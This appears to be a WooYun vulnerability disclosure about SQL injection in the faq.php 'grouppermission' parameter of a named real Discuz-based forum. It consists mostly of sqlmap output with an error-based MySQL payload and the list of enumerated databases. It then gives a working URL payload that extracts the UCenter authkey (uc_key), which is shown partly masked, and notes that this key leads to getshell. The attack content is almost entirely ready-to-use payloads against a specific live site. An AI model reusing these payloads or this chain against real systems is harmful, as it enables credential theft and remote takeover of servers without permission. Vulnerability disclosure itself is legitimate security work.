WooYun.org

http://bbs.zhaopin.com/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)
sqlmap identified the following injection points with a total of 743 HTTP(s) requests:
---
Place: GET
Parameter: gids[100][0]
Type: error-based
Title: MySQL OR error-based - WHERE or HAVING clause
Payload: action=grouppermission&gids[99]='&gids[100][0]=-3235) OR 1 GROUP BY CONCAT(0x7166736f71,(SELECT (CASE WHEN (4900=4900) THEN 1 ELSE 0 END)),0x7161676871,FLOOR(RAND(0)*2)) HAVING MIN(0)#
---
web application technology: PHP 5.2.6, Apache
back-end DBMS: MySQL >= 5.0.0
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: gids[100][0]
Type: error-based
Title: MySQL OR error-based - WHERE or HAVING clause
Payload: action=grouppermission&gids[99]='&gids[100][0]=-3235) OR 1 GROUP BY CONCAT(0x7166736f71,(SELECT (CASE WHEN (4900=4900) THEN 1 ELSE 0 END)),0x7161676871,FLOOR(RAND(0)*2)) HAVING MIN(0)#
---
web application technology: PHP 5.2.6, Apache
back-end DBMS: MySQL 5
available databases [3]:
[*] discuz
[*] information_schema
[*] test
都知道这里有注入，那么如何更好的利用呢？
下面说一下getshell的方法：

faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=)%20union%20select%201%20from%20(select%20count(*),concat(0x23,(select%20md5(authkey)%20from%20cdb_uc_applications%20limit%201),0x23,floor(rand(0)*2))a%20from%20information_schema.tables%20group%20by%20a)b--%20a

得到uc_key

6fc64444920b*****f9110e0b3d92629

uc_key getshell
WooYun: Discuz的利用UC_KEY进行getshell